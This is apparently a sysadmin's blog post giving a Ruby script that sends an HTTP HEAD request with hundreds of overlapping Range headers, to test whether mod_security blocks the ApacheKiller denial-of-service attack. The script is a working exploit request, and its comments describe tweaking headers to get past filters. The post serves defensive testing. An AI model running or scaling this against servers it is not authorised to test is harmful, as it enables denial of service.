Since I manage a metric *explitive*-ton of servers, the ApacheKiller vuln needed to get patched. A good mod_security rule or two can drop requests formed to exploit it (info after the break), but I wanted to make sure that modsec was actually catching these, so I wrote a little Ruby to help me out. I had to bust out Wireshark to analyse the HTTP HEAD request that the Perl proof-of-concept code was using, but it didn’t take long to figure out. I am fine with posting this here since the potential for abuse is low unless someone knows how to implement threading in Ruby, in which case this would be trivial to replicate anyway (plus the perl code already works fine for skript kiddies).
Notes:
- You need to pass in a valid URI, like http://localhost/ or whatever
- I fixed the number of ranges in the HTTP request because 1300 was too big for one request, and it’d just cause “bad request” errors.
- I fixed the lack of a “bytes=” prefix for all the ranges
- I added request-range in addition to just “range” to make it compatible with a wider range of httpds
Happy testing!
#!/usr/bin/env ruby
require 'net/http'
require 'uri'
# ensure that we're getting a first argument and that it's a valid URI
abort("You must specify a hostname as the first argument.") if ARGV.first.nil?
abort("Invalid URI") unless uri = URI.parse(ARGV.first)
# create our request object
req = Net::HTTP::Head.new(uri.request_uri)
http = Net::HTTP.new(uri.host, uri.port)
# set custom headers
# you might need to fiddle with these to get around your default modsec filters
req.delete("Accept")
req.delete("User-Agent")
#req.add_field("Pragma", "no-cache")
#req.add_field("connection", "close")
req.add_field("Host", uri.host)
# optional, add a valid User-Agent by uncommenting the line below.
# req.add_field('User-Agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110613 Firefox/6.0a2')
# add the custom range headers to our request object
# we're adding 1300 different ranges with offsets between 1 and 1300 just like the perl PoC
# need to start by saying "range: bytes="... before we add the rest. Same for request-range
req.add_field("range", "bytes=5-0")
req.add_field("request-range", "bytes=5-0")
500.times do
req.add_field("range", "5-#{Random.rand(0..1300)}")
req.add_field("request-range", "5-#{Random.rand(0..1300)}")
end
# get the response by making the request
# TODO: make this block easier to understand
res = http.request(req)
# print out our request and response
puts "Request: #{res.inspect}"
req.each do |key,value|
puts "#{key}: #{value}"
end
puts "\n"
puts "Response: #{res.inspect}"
res.each do |key,value|
puts "#{key}: #{value}"
end
Read more